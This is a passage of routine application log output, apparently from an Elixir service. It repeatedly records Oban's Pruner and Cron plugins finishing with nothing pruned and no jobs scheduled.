{"source":"oban","duration":946,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:34:54.270 [info] {"source":"oban","duration":1348,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:35:00.914 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:35:24.272 [info] {"source":"oban","duration":1377,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:35:54.274 [info] {"source":"oban","duration":1413,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:36:00.915 [info] {"source":"oban","duration":249,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:36:24.276 [info] {"source":"oban","duration":1460,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:36:54.278 [info] {"source":"oban","duration":1399,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:37:00.916 [info] {"source":"oban","duration":219,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:37:24.280 [info] {"source":"oban","duration":1476,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:37:54.282 [info] {"source":"oban","duration":1477,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:38:00.917 [info] {"source":"oban","duration":423,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:38:24.284 [info] {"source":"oban","duration":1021,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:38:54.286 [info] {"source":"oban","duration":1076,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:39:00.918 [info] {"source":"oban","duration":298,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:39:24.288 [info] {"source":"oban","duration":992,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:39:54.290 [info] {"source":"oban","duration":1335,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:40:00.919 [info] {"source":"oban","duration":611,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:40:24.292 [info] {"source":"oban","duration":933,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:40:54.294 [info] {"source":"oban","duration":1071,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:41:00.921 [info] {"source":"oban","duration":456,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:41:24.296 [info] {"source":"oban","duration":1459,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:41:54.298 [info] {"source":"oban","duration":1160,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:42:00.922 [info] {"source":"oban","duration":437,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:42:24.300 [info] {"source":"oban","duration":1097,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:42:54.302 [info] {"source":"oban","duration":1162,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:43:00.923 [info] {"source":"oban","duration":290,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:43:24.304 [info] {"source":"oban","duration":1390,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:43:54.306 [info] {"source":"oban","duration":1417,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:44:00.924 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:44:24.308 [info] {"source":"oban","duration":1355,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:44:54.310 [info] {"source":"oban","duration":1666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:45:00.925 [info] {"source":"oban","duration":342,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:45:24.312 [info] {"source":"oban","duration":1329,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:45:54.314 [info] {"source":"oban","duration":1445,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:46:00.926 [info] {"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:46:24.316 [info] {"source":"oban","duration":1246,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:46:54.318 [info] {"source":"oban","duration":1237,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:47:00.927 [info] {"source":"oban","duration":298,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:47:24.320 [info] {"source":"oban","duration":1198,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:47:54.322 [info] {"source":"oban","duration":975,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:48:00.928 [info] {"source":"oban","duration":235,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:48:24.324 [info] {"source":"oban","duration":1237,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:48:54.326 [info] {"source":"oban","duration":1290,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:49:00.929 [info] {"source":"oban","duration":296,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:49:24.328 [info] {"source":"oban","duration":1044,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:49:54.330 [info] {"source":"oban","duration":1083,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:50:00.930 [info] {"source":"oban","duration":361,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:50:24.332 [info] {"source":"oban","duration":1091,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:50:54.334 [info] {"source":"oban","duration":1165,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:51:00.931 [info] {"source":"oban","duration":445,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:51:24.336 [info] {"source":"oban","duration":998,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:51:54.338 [info] {"source":"oban","duration":1482,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:52:00.932 [info] {"source":"oban","duration":328,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:52:24.340 [info] {"source":"oban","duration":1426,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:52:54.342 [info] {"source":"oban","duration":1412,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:53:00.933 [info] {"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:53:24.344 [info] {"source":"oban","duration":1354,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:53:54.346 [info] {"source":"oban","duration":1246,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:54:00.934 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:54:24.348 [info] {"source":"oban","duration":1313,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:54:54.350 [info] {"source":"oban","duration":1354,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:55:00.935 [info] {"source":"oban","duration":438,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:55:24.352 [info] {"source":"oban","duration":1512,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:55:54.354 [info] {"source":"oban","duration":1416,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:56:00.936 [info] {"source":"oban","duration":260,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:56:24.356 [info] {"source":"oban","duration":1495,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:56:54.358 [info] {"source":"oban","duration":1266,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:57:00.937 [info] {"source":"oban","duration":333,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:57:24.360 [info] {"source":"oban","duration":1198,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:57:54.362 [info] {"source":"oban","duration":1054,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:58:00.938 [info] {"source":"oban","duration":275,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:58:24.364 [info] {"source":"oban","duration":1280,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:58:54.366 [info] {"source":"oban","duration":1411,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:59:00.939 [info] {"source":"oban","duration":296,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:59:24.367 [info] {"source":"oban","duration":946,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:59:54.370 [info] {"source":"oban","duration":1090,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:00:00.940 [info] {"source":"oban","duration":273,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:00:24.372 [info] {"source":"oban","duration":1298,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:00:54.374 [info] {"source":"oban","duration":1416,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:01:00.941 [info] {"source":"oban","duration":315,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:01:24.376 [info] {"source":"oban","duration":1443,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:01:54.378 [info] {"source":"oban","duration":1277,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:02:00.942 [info] {"source":"oban","duration":309,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:02:24.380 [info] {"source":"oban","duration":1480,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:02:54.382 [info] {"source":"oban","duration":1447,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:03:00.943 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:03:24.384 [info] {"source":"oban","duration":1508,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:03:54.386 [info] {"source":"oban","duration":1499,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:04:00.944 [info] {"source":"oban","duration":268,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:04:24.388 [info] {"source":"oban","duration":1304,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:04:54.390 [info] {"source":"oban","duration":1447,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:05:00.945 [info] {"source":"oban","duration":231,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:05:24.392 [info] {"source":"oban","duration":1392,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:05:54.394 [info] {"source":"oban","duration":1108,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:06:00.946 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:06:24.396 [info] {"source":"oban","duration":1240,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:06:54.398 [info] {"source":"oban","duration":1135,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:07:00.947 [info] {"source":"oban","duration":343,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:07:24.400 [info] {"source":"oban","duration":1024,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:07:54.402 [info] {"source":"oban","duration":1003,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:08:00.948 [info] {"source":"oban","duration":486,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:08:24.404 [info] {"source":"oban","duration":1139,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:08:54.406 [info] {"source":"oban","duration":1081,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:09:00.949 [info] {"source":"oban","duration":275,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:09:24.408 [info] {"source":"oban","duration":1609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:09:54.410 [info] {"source":"oban","duration":1197,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:10:00.950 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:10:24.412 [info] {"source":"oban","duration":1411,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:10:54.414 [info] {"source":"oban","duration":1451,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:11:00.951 [info] {"source":"oban","duration":352,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:11:24.416 [info] {"source":"oban","duration":1398,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:11:54.418 [info] {"source":"oban","duration":1240,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:12:00.952 [info] {"source":"oban","duration":348,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:12:24.420 [info] {"source":"oban","duration":1412,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:12:54.422 [info] {"source":"oban","duration":1253,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:13:00.953 [info] {"source":"oban","duration":216,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:13:24.424 [info] {"source":"oban","duration":1184,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:13:54.426 [info] {"source":"oban","duration":1311,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:14:00.954 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:14:24.428 [info] {"source":"oban","duration":1542,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:14:54.430 [info] {"source":"oban","duration":1402,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:15:00.955 [info] {"source":"oban","duration":262,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:15:24.432 [info] {"source":"oban","duration":1442,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:15:54.434 [info] {"source":"oban","duration":942,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:16:00.956 [info] {"source":"oban","duration":274,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:16:24.436 [info] {"source":"oban","duration":1223,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:16:54.438 [info] {"source":"oban","duration":1390,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:17:00.957 [info] {"source":"oban","duration":324,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:17:24.439 [info] {"source":"oban","duration":764,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:17:54.442 [info] {"source":"oban","duration":1440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:18:00.958 [info] {"source":"oban","duration":262,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:18:24.444 [info] {"source":"oban","duration":1769,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:18:54.446 [info] {"source":"oban","duration":937,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:19:00.959 [info] {"source":"oban","duration":303,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:19:24.448 [info] {"source":"oban","duration":1275,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:19:54.450 [info] {"source":"oban","duration":1516,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:20:00.960 [info] {"source":"oban","duration":399,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:20:24.452 [info] {"source":"oban","duration":1446,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:20:54.454 [info] {"source":"oban","duration":1518,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:21:00.961 [info] {"source":"oban","duration":219,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:21:24.456 [info] {"source":"oban","duration":1600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:21:54.459 [info] {"source":"oban","duration":1522,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:22:00.962 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:22:24.461 [info] {"source":"oban","duration":1428,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:22:54.463 [info] {"source":"oban","duration":1510,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:23:00.963 [info] {"source":"oban","duration":306,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:23:24.465 [info] {"source":"oban","duration":1540,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:23:54.467 [info] {"source":"oban","duration":1532,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:24:00.964 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:24:24.469 [info] {"source":"oban","duration":1028,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:24:54.470 [info] {"source":"oban","duration":835,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:25:00.965 [info] {"source":"oban","duration":285,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:25:24.473 [info] {"source":"oban","duration":1234,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:25:54.475 [info] {"source":"oban","duration":963,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:26:00.966 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:26:24.477 [info] {"source":"oban","duration":1506,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:26:54.479 [info] {"source":"oban","duration":1499,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:27:00.967 [info] {"source":"oban","duration":361,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:27:24.481 [info] {"source":"oban","duration":1243,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:27:54.483 [info] {"source":"oban","duration":1407,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:28:00.968 [info] {"source":"oban","duration":310,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:28:24.485 [info] {"source":"oban","duration":1467,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:28:54.487 [info] {"source":"oban","duration":1427,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:29:00.969 [info] {"source":"oban","duration":356,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:29:24.489 [info] {"source":"oban","duration":1441,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:29:54.491 [info] {"source":"oban","duration":1332,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:30:00.970 [info] {"source":"oban","duration":225,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:30:24.493 [info] {"source":"oban","duration":1593,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:30:54.495 [info] {"source":"oban","duration":1518,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:31:00.971 [info] {"source":"oban","duration":395,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:31:24.497 [info] {"source":"oban","duration":1607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:31:54.499 [info] {"source":"oban","duration":1336,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:32:00.972 [info] {"source":"oban","duration":408,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:32:24.501 [info] {"source":"oban","duration":1023,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:32:54.503 [info] {"source":"oban","duration":1237,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:33:00.973 [info] {"source":"oban","duration":357,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:33:24.505 [info] {"source":"oban","duration":1438,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:33:54.507 [info] {"source":"oban","duration":948,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:34:00.974 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:34:24.509 [info] {"source":"oban","duration":1168,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:34:54.511 [info] {"source":"oban","duration":1481,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:35:00.975 [info] {"source":"oban","duration":354,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:35:24.513 [info] {"source":"oban","duration":1484,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:35:54.515 [info] {"source":"oban","duration":1507,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:36:00.976 [info] {"source":"oban","duration":441,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:36:24.517 [info] {"source":"oban","duration":1294,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:36:54.519 [info] {"source":"oban","duration":1423,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:37:00.977 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:37:24.521 [info] {"source":"oban","duration":1700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:37:54.524 [info] {"source":"oban","duration":1544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:38:00.978 [info] {"source":"oban","duration":312,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:38:24.526 [info] {"source":"oban","duration":1314,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:38:54.528 [info] {"source":"oban","duration":1209,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:39:00.979 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:39:24.530 [info] {"source":"oban","duration":1310,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:39:54.532 [info] {"source":"oban","duration":1148,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:40:00.980 [info] {"source":"oban","duration":369,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:40:24.534 [info] {"source":"oban","duration":1205,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:40:54.536 [info] {"source":"oban","duration":1033,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:41:00.981 [info] {"source":"oban","duration":427,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:41:24.538 [info] {"source":"oban","duration":1020,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:41:54.540 [info] {"source":"oban","duration":1053,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:42:00.982 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:42:24.542 [info] {"source":"oban","duration":977,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:42:54.544 [info] {"source":"oban","duration":1068,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:43:00.983 [info] {"source":"oban","duration":310,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:43:24.546 [info] {"source":"oban","duration":1568,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:43:54.548 [info] {"source":"oban","duration":1375,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:44:00.984 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:44:24.550 [info] {"source":"oban","duration":1531,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:44:54.552 [info] {"source":"oban","duration":1358,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:45:00.985 [info] {"source":"oban","duration":283,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:45:24.554 [info] {"source":"oban","duration":1312,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:45:54.556 [info] {"source":"oban","duration":1221,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:46:00.986 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:46:24.558 [info] {"source":"oban","duration":1458,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:46:54.560 [info] {"source":"oban","duration":1298,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:47:00.987 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:47:24.562 [info] {"source":"oban","duration":1487,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:47:54.564 [info] {"source":"oban","duration":1365,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:48:00.988 [info] {"source":"oban","duration":266,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:48:24.566 [info] {"source":"oban","duration":1163,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:48:54.568 [info] {"source":"oban","duration":1034,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:49:00.989 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:49:24.570 [info] {"source":"oban","duration":1415,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:49:54.572 [info] {"source":"oban","duration":997,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:50:00.990 [info] {"source":"oban","duration":325,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:50:24.574 [info] {"source":"oban","duration":1137,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:50:54.576 [info] {"source":"oban","duration":1372,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:51:00.991 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:51:24.578 [info] {"source":"oban","duration":976,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:51:54.580 [info] {"source":"oban","duration":1523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:52:00.992 [info] {"source":"oban","duration":295,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:52:24.582 [info] {"source":"oban","duration":1418,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:52:54.584 [info] {"source":"oban","duration":1308,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:53:00.993 [info] {"source":"oban","duration":420,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:53:24.586 [info] {"source":"oban","duration":1534,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:53:54.588 [info] 